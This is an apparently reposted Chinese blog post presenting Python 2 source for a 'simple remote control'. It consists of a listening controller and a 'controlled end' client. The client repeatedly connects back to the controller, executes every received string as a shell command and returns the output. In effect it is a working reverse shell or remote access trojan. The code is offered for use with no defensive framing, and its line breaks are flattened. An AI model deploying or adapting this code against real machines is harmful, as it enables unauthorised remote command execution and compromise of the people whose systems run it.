Python简易远控(单线程版)

来源:互联网 发布:java排序函数使用 编辑:程序博客网 时间:2024/06/10 09:02

1. 技术:管道通信,流文件处理,socket基础


2. Tips:

默认IP:127.0.0.1

默认端口:7676


3. 代码样例


服务端


#!/usr/bin/env python  # encoding: utf-8  import socketimport sysfrom os import *reload(sys)  sys.setdefaultencoding("utf-8")  def socketInit():s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)return sdef socketDeal(s,HOST,PORT):s.bind((HOST,PORT))s.listen(1)def ControlModule(sS,addr):recv_buffer = sS.recv(20048)if recv_buffer == "[-]Error:Server is OFF" or recv_buffer == "[*]Server is OFF":print recv_buffersys.exit(0)else:print recv_buffersend_buf = raw_input(addr[0]+">")sS.send(send_buf)def main():HOST = "127.0.0.1"PORT = 7676s = socketInit()socketDeal(s, HOST, PORT)sS,addr = s.accept()print "Connect from " + addr[0] + ":" + repr(addr[1])try:while True:ControlModule(sS,addr)except Exception as e:print "[-]Connect Error"sS.close()s.close()sys.exit(-1)except KeyboardInterrupt:sS.close()s.close()sys.exit(0)if __name__ == '__main__':main()


受控端:


#!/usr/bin/env python  # encoding: utf-8  import socketimport sysimport reimport tracebackimport tempfilefrom os import *from subprocess import *reload(sys)  sys.setdefaultencoding("utf-8")  def socketInit():s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)return sdef socketConn(s,HOST,PORT):while True:try:s.connect((HOST,PORT))except Exception as e:continueelse:s.send("Welcome Sir ~")breakdef String_Deal(recv,send):P_str = re.findall("cd(.*)|(\w):", recv)if P_str!=[] and send == "":if P_str[0][0]!="":try:chdir(P_str[0][0].strip())except Exception as e:flag = -1else:flag = 1else:try:chdir(recv)except Exception as e:#traceback.print_exc()flag = -1else:flag = 1else:if send == "":flag = 1else:flag = 0return flagdef OpenProcess(s):try:while True:recv_buf = s.recv(2048)#流文件技术,防止管道阻塞out_temp = tempfile.SpooledTemporaryFile(bufsize=10*1000)fileNo = out_temp.fileno()cmd = Popen(recv_buf, shell=True,stdin=PIPE, stdout=fileNo, stderr=STDOUT)cmd.wait()out_temp.seek(0)send_buf = out_temp.read()#print len(send_buf)#输入命令字符串处理识别flag = String_Deal(recv_buf,send_buf)if flag == 1:s.send("OK")elif flag == -1:s.send("Error!!")else:s.send(send_buf)send_buf = ""except Exception as e:try:s.send("[-]Error:Server is OFF")except Exception as e:passs.close()sys.exit(-1)except KeyboardInterrupt:try:s.send("[*]Server is OFF")except Exception as e:passs.close()sys.exit(0)def main():flag = 0HOST = "127.0.0.1"PORT = 7676s = socketInit()socketConn(s, HOST, PORT)OpenProcess(s)if __name__ == '__main__':main()


原创粉丝点击